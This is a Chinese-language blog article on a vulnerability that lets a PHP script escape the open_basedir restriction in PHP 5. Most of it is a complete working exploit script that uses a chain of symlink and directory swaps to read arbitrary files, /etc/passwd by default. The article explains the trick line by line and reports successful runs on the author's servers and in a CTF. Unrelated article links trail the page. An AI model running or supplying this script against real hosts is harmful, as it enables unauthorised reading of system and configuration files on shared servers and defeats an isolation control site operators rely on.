PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍


Posted in PHP onJanuary 20, 2015

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 http://cxsecurity.com/issue/WLB-2009110068。

给出我写的EXP:

<?php

/*

* by phithon

* From https://3water.com

* detail: http://cxsecurity.com/issue/WLB-2009110068

*/

header('content-type: text/plain');

error_reporting(-1);

ini_set('display_errors', TRUE);

printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());

printf("disable_functions: %s\n", ini_get('disable_functions'));

$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');

$relat_file = getRelativePath(__FILE__, $file);

$paths = explode('/', $file);

$name = mt_rand() % 999;

$exp = getRandStr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) - 1 ; $i++){

  mkdir($paths[$i]);

  chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i--) { 

  chdir('..');

}

$paths = explode('/', $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == '..'; $i++) { 

  mkdir($name);

  chdir($name);

  $j++;

}

for ($i = 0; $i <= $j; $i++) { 

  chdir('..');

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode('/', $tmp), 'tmplink');

$tmp = array_fill(0, $j, '..');

symlink('tmplink/' . implode('/', $tmp) . $file, $exp);

unlink('tmplink');

mkdir('tmplink');

delfile($name);

$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";

$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";

echo "\n-----------------content---------------\n\n";

echo file_get_contents($exp);

delfile('tmplink');
function getRelativePath($from, $to) {

  // some compatibility fixes for Windows paths

  $from = rtrim($from, '\/') . '/';

  $from = str_replace('\\', '/', $from);

  $to   = str_replace('\\', '/', $to);
  $from   = explode('/', $from);

  $to     = explode('/', $to);

  $relPath  = $to;
  foreach($from as $depth => $dir) {

    // find first non-matching dir

    if($dir === $to[$depth]) {

      // ignore this directory

      array_shift($relPath);

    } else {

      // get number of remaining dirs to $from

      $remaining = count($from) - $depth;

      if($remaining > 1) {

        // add traversals up to first matching dir

        $padLength = (count($relPath) + $remaining - 1) * -1;

        $relPath = array_pad($relPath, $padLength, '..');

        break;

      } else {

        $relPath[0] = './' . $relPath[0];

      }

    }

  }

  return implode('/', $relPath);

}
function delfile($deldir){

  if (@is_file($deldir)) {

    @chmod($deldir,0777);

    return @unlink($deldir);

  }else if(@is_dir($deldir)){

    if(($mydir = @opendir($deldir)) == NULL) return false;

    while(false !== ($file = @readdir($mydir)))

    {

      $name = File_Str($deldir.'/'.$file);

      if(($file!='.') && ($file!='..')){delfile($name);}

    } 

    @closedir($mydir);

    @chmod($deldir,0777);

    return @rmdir($deldir) ? true : false;

  }

}
function File_Str($string)

{

  return str_replace('//','/',str_replace('\\','/',$string));

}
function getRandStr($length = 6) {

  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

  $randStr = '';

  for ($i = 0; $i < $length; $i++) {

    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);

  }

  return $randStr;

}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

symlink("abc/abc/abc/abc","tmplink"); 

symlink("tmplink/../../../etc/passwd", "exploit"); 

unlink("tmplink"); 

mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的 效果就是绕过了open_basedir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

open_basedir

将 PHP 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_basedir 可以像其它任何配置选项一样用“php_admin_value open_basedir none”的 方法 关闭(例如某些虚拟主机中)。

在 Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时,父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀,不是目录名。也就是说“open_basedir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_basedir = /dir/incl/”。

Note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

PHP5全版本绕过open_basedir读文件脚本漏洞详细介绍

PHP 相关文章推荐
PHP5中使用DOM控制XML实现代码
May 07 PHP
ThinkPHP访问不存在的模块跳转到404页面的方法
Jun 19 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(八)
Jun 23 PHP
PHP会话控制:Session与Cookie详解
Sep 27 PHP
php获取指定日期之间的各个周和月的起止时间
Nov 24 PHP
php实现修改新闻时删除图片的方法
May 12 PHP
PHP提高编程效率的20个要点
Sep 23 PHP
thinkphp中的url跳转用法分析
Jul 12 PHP
PHP图片裁剪与缩放示例(无损裁剪图片)
Feb 08 PHP
完美的php分页类
Oct 24 PHP
PHP实现找出链表中环的入口节点
Jan 16 PHP
用php实现分页效果的示例代码
Dec 10 PHP
php中解析带中文字符的url函数分享
Jan 20 #PHP
PHP中使用正则表达式提取中文实现笔记
Jan 20 #PHP
php中的观察者模式简单实例
Jan 20 #PHP
php 5.6版本中编写一个PHP扩展的简单示例
Jan 20 #PHP
PHP函数extension_loaded()用法实例
Jan 19 #PHP
php使用正则表达式获取图片url的方法
Jan 16 #PHP
php使用CURL伪造IP和来源实例详解
Jan 15 #PHP
You might like
PHP7扩展开发之hello word实现方法详解
2018/01/15 PHP
PHP容器类的两种实现方式示例
2019/07/24 PHP
js继承的实现代码
2010/08/05 Javascript
javascript textContent与innerText的异同分析
2010/10/22 Javascript
利用JQuery和JS实现奇偶行背景颜色自定义效果
2012/11/19 Javascript
图片上传判断及预览脚本的效果实例
2013/08/07 Javascript
不同Jquery版本引发的问题解决
2013/10/14 Javascript
js实现简洁的TAB滑动门效果代码
2015/09/06 Javascript
js操作table元素实现表格行列新增、删除技巧总结
2015/11/18 Javascript
轻量级jQuery插件slideBox实现带底栏轮播(焦点图)代码
2016/03/28 Javascript
Boostrap基础教程之JavaScript插件篇
2016/09/08 Javascript
JS实现搜索框文字可删除功能
2016/12/28 Javascript
javascript浏览器用户代理检测脚本实现方法
2017/10/27 Javascript
实例分析js事件循环机制
2017/12/13 Javascript
解决vue-cli项目webpack打包后iconfont文件路径的问题
2018/09/01 Javascript
简单了解微信小程序的目录结构
2019/07/01 Javascript
javascript实现弹幕墙效果
2019/11/28 Javascript
Vue实现手机计算器
2020/08/17 Javascript
Node.js 中判断一个文件是否存在
2020/08/24 Javascript
Python matplotlib画图实例之绘制拥有彩条的图表
2017/12/28 Python
Python+Redis实现布隆过滤器
2019/12/08 Python
python tqdm 实现滚动条不上下滚动代码(保持一行内滚动)
2020/02/19 Python
Python3自定义json逐层解析器代码
2020/05/11 Python
使用keras2.0 将Merge层改为函数式
2020/05/23 Python
python海龟绘图之画国旗实例代码
2020/11/11 Python
一款CSS3实现多功能下拉菜单(带分享按)的教程
2014/11/05 HTML / CSS
员工评语大全
2014/01/19 职场文书
服务员自我评价
2014/01/25 职场文书
公司中秋节活动方案
2014/02/12 职场文书
心理健康日活动总结
2014/05/08 职场文书
温馨提示标语
2014/06/26 职场文书
共青团员自我评价范文
2014/09/14 职场文书
小学教师节活动总结
2015/03/20 职场文书
结婚纪念日感言
2015/08/01 职场文书
python - asyncio异步编程
2021/04/06 Python
JavaScript数组 几个常用方法总结
2021/11/11 Javascript